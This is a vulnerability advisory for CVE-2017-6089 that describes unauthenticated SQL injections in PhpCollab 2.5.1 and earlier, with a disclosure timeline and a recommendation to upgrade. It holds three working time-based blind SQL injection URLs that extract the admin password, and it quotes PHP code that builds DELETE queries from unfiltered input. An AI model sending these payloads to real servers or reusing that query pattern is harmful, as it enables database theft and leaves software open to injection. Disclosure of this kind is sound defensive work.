PhpCollab versions 2.5.1 and below suffer from multiple remote SQL injection vulnerabilities.
cbccfc0410eb2455216265aa2b2a589e# [CVE-2017-6089] PhpCollab 2.5.1 Multiple SQL Injections (unauthenticated)
## Description
PhpCollab is an open source web-based project management system, that enables collaboration across the Internet.
## SQL injections
The phpCollab code does not correctly filter arguments, allowing arbitrary SQL code execution by an unauthenticated user.
**CVE ID**: CVE-2017-6089
**Access Vector**: remote
**Security Risk**: Critical
**Vulnerability**: CWE-89
**CVSS Base Score**: 10 (Critical)
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H
## Proof of Concept 1
The following HTTP request allows an attacker to extract data using SQL injections in either the `project` or `id` parameter (it requires at least one topic):
```
http://phpCollab.lan/topics/deletetopics.php?project=1'+and+(SELECT+SLEEP(5)+FROM+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116))+and+'2'='2
http://phpCollab.lan/topics/deletetopics.php?project=1&id=1+and+(SELECT+SLEEP(5)+FROM+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116))
```
### Vulnerable code
The vulnerable code is found in `topics/deletetopics.php`, line 9.
```
if ($action == "delete") {
$id = str_replace("**",",",$id);
$tmpquery1 = "DELETE FROM ".$tableCollab["topics"]." WHERE id = $id";
$tmpquery2 = "DELETE FROM ".$tableCollab["posts"]." WHERE topic = $id";
$pieces = explode(",",$id);
$num = count($pieces);
connectSql("$tmpquery1");
connectSql("$tmpquery2");
```
## Proof of Concept 2
The following HTTP request allows an attacker to extract data using SQL injections in the `id` parameter (it requires at least one saved bookmark):
```
http://phpCollab.lan/bookmarks/deletebookmarks.php?action=delete&id=select+sleep(5)+from+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116)
```
### Vulnerable code
The vulnerable code is found in `bookmarks/deletebookmarks.php`, line 32.
```
if ($action == "delete") {
$id = str_replace("**",",",$id);
$tmpquery1 = "DELETE FROM ".$tableCollab["bookmarks"]." WHERE id IN($id)";
connectSql("$tmpquery1");
```
## Proof of Concept 3
The following HTTP request allows an attacker to extract some information using SQL injection in the `id` parameter (it requires at least one calendar entry):
```
http://phpCollab.lan/calendar/deletecalendar.php?project=&action=delete&id=select+sleep(5)+from+members+where+login+like+0x61646d696e+and+substr(password,1,1)+like+CHAR(116)
```
### Vulnerable code
The vulnerable code is found in `calendar/deletecalendar.php`, line 31.
```
if ($action == "delete") {
$id = str_replace("**",",",$id);
$tmpquery1 = "DELETE FROM ".$tableCollab["calendar"]." WHERE id IN($id)";
connectSql("$tmpquery1");
```
**Notes**
The application probably needs a security posture against injections, so other parameters and pages may be vulnerables. This advisory does not intend to be an exhaustive list of vulnerable parameters.
## Solution
Update to the latest version avalaible.
## Affected versions
* Version <= 2.5.1
## Timeline (dd/mm/yyyy)
* 27/08/2016 : Initial discovery.
* 05/10/2016 : Initial contact.
* 11/10/2016 : GPG Key exchange.
* 19/10/2016 : Advisory sent to vendor.
* 13/02/2017 : First fixes.
* 15/02/2017 : Fixes validation by Sysdream.
* 21/02/2017 : PhpCollab ask to wait before publish.
* 21/06/2017 : New version has been released.
* 29/09/2017 : Public disclosure.
## Credits
* Nicolas SERRA, Sysdream (n.serra -at- sysdream -dot- com)
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